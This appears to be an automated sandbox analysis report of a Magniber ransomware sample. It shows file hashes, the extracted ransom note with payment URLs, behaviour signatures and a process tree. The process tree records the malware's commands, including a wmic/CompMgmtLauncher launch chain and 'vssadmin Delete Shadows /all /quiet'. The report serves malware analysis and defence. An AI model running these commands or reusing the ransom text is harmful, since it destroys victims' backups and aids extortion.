Resubmissions

19-08-2021 01:18

210819-wqg2l69dqn 10

22-07-2021 19:23

210722-87xdtsgz36 10

Analysis

  • max time kernel
    100s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    19-08-2021 01:18

General

  • Target

    magnibar_0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6.exe

  • Size

    21KB

  • MD5

    24d60185a9e294a60c03b90fe731a04a

  • SHA1

    c46b6a52efe81e02da8084f197efce7cb482f897

  • SHA256

    0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6

  • SHA512

    4419eaf48a932c9139c891ee36f51c8a7087357b2de56378a2c3399d8635f90460b30e16dc2b11db704a5f2e702fd116f292f723856b0fca008861eef8302674

Score
10/10

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://18e4c6601e784a70deyzboiuv.ndkeblzjnpqgpo5o.onion/yzboiuv Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://18e4c6601e784a70deyzboiuv.lieedge.casa/yzboiuv http://18e4c6601e784a70deyzboiuv.wonride.site/yzboiuv http://18e4c6601e784a70deyzboiuv.lognear.xyz/yzboiuv http://18e4c6601e784a70deyzboiuv.bejoin.space/yzboiuv Note! These are temporary addresses! They will be available for a limited amount of time!
URLs

http://18e4c6601e784a70deyzboiuv.ndkeblzjnpqgpo5o.onion/yzboiuv

http://18e4c6601e784a70deyzboiuv.lieedge.casa/yzboiuv

http://18e4c6601e784a70deyzboiuv.wonride.site/yzboiuv

http://18e4c6601e784a70deyzboiuv.lognear.xyz/yzboiuv

http://18e4c6601e784a70deyzboiuv.bejoin.space/yzboiuv

Signatures

  • Magniber Ransomware

    Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.

  • Process spawned unexpected child process 10 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies extensions of user files 4 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Suspicious use of SetThreadContext 4 IoCs
  • Interacts with shadow copies 2 TTPs 5 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Internet Explorer settings 1 TTPs 36 IoCs
  • Modifies registry class 11 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1200
    • C:\Users\Admin\AppData\Local\Temp\magnibar_0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6.exe
      "C:\Users\Admin\AppData\Local\Temp\magnibar_0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of WriteProcessMemory
      PID:1456
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:920
        • C:\Windows\system32\wbem\WMIC.exe
          C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
          4⤵
            PID:2040
        • C:\Windows\system32\cmd.exe
          cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:972
          • C:\Windows\system32\wbem\WMIC.exe
            C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
            4⤵
              PID:780
        • C:\Windows\system32\cmd.exe
          cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1056
          • C:\Windows\system32\wbem\WMIC.exe
            C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:912
      • C:\Windows\system32\Dwm.exe
        "C:\Windows\system32\Dwm.exe"
        1⤵
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:1172
        • C:\Windows\system32\cmd.exe
          cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:900
          • C:\Windows\system32\wbem\WMIC.exe
            C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1960
      • C:\Windows\system32\taskhost.exe
        "taskhost.exe"
        1⤵
        • Modifies extensions of user files
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:1096
        • C:\Windows\system32\notepad.exe
          notepad.exe C:\Users\Public\readme.txt
          2⤵
          • Opens file in notepad (likely ransom note)
          PID:1128
        • C:\Windows\system32\cmd.exe
          cmd /c "start http://18e4c6601e784a70deyzboiuv.lieedge.casa/yzboiuv^&1^&35072946^&64^&361^&12"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1788
          • C:\Program Files\Internet Explorer\iexplore.exe
            "C:\Program Files\Internet Explorer\iexplore.exe" http://18e4c6601e784a70deyzboiuv.lieedge.casa/yzboiuv&1&35072946&64&361&12
            3⤵
            • Modifies Internet Explorer settings
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:532
            • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
              "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:532 CREDAT:275457 /prefetch:2
              4⤵
              • Modifies Internet Explorer settings
              • Suspicious use of SetWindowsHookEx
              PID:2220
        • C:\Windows\system32\cmd.exe
          cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1328
          • C:\Windows\system32\wbem\WMIC.exe
            C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1156
      • C:\Windows\system32\cmd.exe
        cmd /c CompMgmtLauncher.exe
        1⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1956
        • C:\Windows\system32\CompMgmtLauncher.exe
          CompMgmtLauncher.exe
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2108
          • C:\Windows\system32\wbem\wmic.exe
            "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
            3⤵
              PID:2396
        • C:\Windows\system32\cmd.exe
          cmd /c CompMgmtLauncher.exe
          1⤵
          • Process spawned unexpected child process
          • Suspicious use of WriteProcessMemory
          PID:2024
          • C:\Windows\system32\CompMgmtLauncher.exe
            CompMgmtLauncher.exe
            2⤵
              PID:2132
              • C:\Windows\system32\wbem\wmic.exe
                "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                3⤵
                  PID:2404
            • C:\Windows\system32\cmd.exe
              cmd /c CompMgmtLauncher.exe
              1⤵
              • Process spawned unexpected child process
              • Suspicious use of WriteProcessMemory
              PID:564
              • C:\Windows\system32\CompMgmtLauncher.exe
                CompMgmtLauncher.exe
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2148
                • C:\Windows\system32\wbem\wmic.exe
                  "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                  3⤵
                    PID:2388
              • C:\Windows\system32\cmd.exe
                cmd /c CompMgmtLauncher.exe
                1⤵
                • Process spawned unexpected child process
                • Suspicious use of WriteProcessMemory
                PID:1436
                • C:\Windows\system32\CompMgmtLauncher.exe
                  CompMgmtLauncher.exe
                  2⤵
                    PID:2176
                    • C:\Windows\system32\wbem\wmic.exe
                      "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                      3⤵
                        PID:2420
                  • C:\Windows\system32\cmd.exe
                    cmd /c CompMgmtLauncher.exe
                    1⤵
                    • Process spawned unexpected child process
                    • Suspicious use of WriteProcessMemory
                    PID:2232
                    • C:\Windows\system32\CompMgmtLauncher.exe
                      CompMgmtLauncher.exe
                      2⤵
                        PID:2264
                        • C:\Windows\system32\wbem\wmic.exe
                          "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                          3⤵
                            PID:2412
                      • C:\Windows\system32\vssadmin.exe
                        vssadmin.exe Delete Shadows /all /quiet
                        1⤵
                        • Process spawned unexpected child process
                        • Interacts with shadow copies
                        PID:2640
                      • C:\Windows\system32\vssadmin.exe
                        vssadmin.exe Delete Shadows /all /quiet
                        1⤵
                        • Process spawned unexpected child process
                        • Interacts with shadow copies
                        PID:2704
                      • C:\Windows\system32\vssadmin.exe
                        vssadmin.exe Delete Shadows /all /quiet
                        1⤵
                        • Process spawned unexpected child process
                        • Interacts with shadow copies
                        PID:2712
                      • C:\Windows\system32\vssadmin.exe
                        vssadmin.exe Delete Shadows /all /quiet
                        1⤵
                        • Process spawned unexpected child process
                        • Interacts with shadow copies
                        PID:2780
                      • C:\Windows\system32\vssadmin.exe
                        vssadmin.exe Delete Shadows /all /quiet
                        1⤵
                        • Process spawned unexpected child process
                        • Interacts with shadow copies
                        PID:2788
                      • C:\Windows\system32\vssvc.exe
                        C:\Windows\system32\vssvc.exe
                        1⤵
                          PID:2820

                        Network

                        MITRE ATT&CK Enterprise v6

                        Replay Monitor

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                        Downloads

                        • memory/1096-72-0x0000000000150000-0x0000000000154000-memory.dmp

                          Filesize

                          16KB

                        • memory/1128-74-0x000007FEFBF71000-0x000007FEFBF73000-memory.dmp

                          Filesize

                          8KB

                        • memory/1456-63-0x0000000001D10000-0x0000000001D11000-memory.dmp

                          Filesize

                          4KB

                        • memory/1456-62-0x00000000000F0000-0x00000000000F1000-memory.dmp

                          Filesize

                          4KB

                        • memory/1456-68-0x0000000001CB0000-0x0000000001CB1000-memory.dmp

                          Filesize

                          4KB

                        • memory/1456-69-0x0000000001CC0000-0x0000000001CC1000-memory.dmp

                          Filesize

                          4KB

                        • memory/1456-70-0x0000000001CF0000-0x0000000001CF1000-memory.dmp

                          Filesize

                          4KB

                        • memory/1456-111-0x0000000002050000-0x0000000002051000-memory.dmp

                          Filesize

                          4KB

                        • memory/1456-71-0x0000000001D00000-0x0000000001D01000-memory.dmp

                          Filesize

                          4KB

                        • memory/1456-64-0x0000000001D20000-0x0000000001D21000-memory.dmp

                          Filesize

                          4KB

                        • memory/1456-67-0x0000000001CA0000-0x0000000001CA1000-memory.dmp

                          Filesize

                          4KB

                        • memory/1456-66-0x0000000000110000-0x0000000000111000-memory.dmp

                          Filesize

                          4KB

                        • memory/1456-65-0x0000000000100000-0x0000000000101000-memory.dmp

                          Filesize

                          4KB

                        • memory/1456-60-0x0000000000020000-0x0000000000025000-memory.dmp

                          Filesize

                          20KB

                        • memory/1456-61-0x00000000000E0000-0x00000000000E1000-memory.dmp

                          Filesize

                          4KB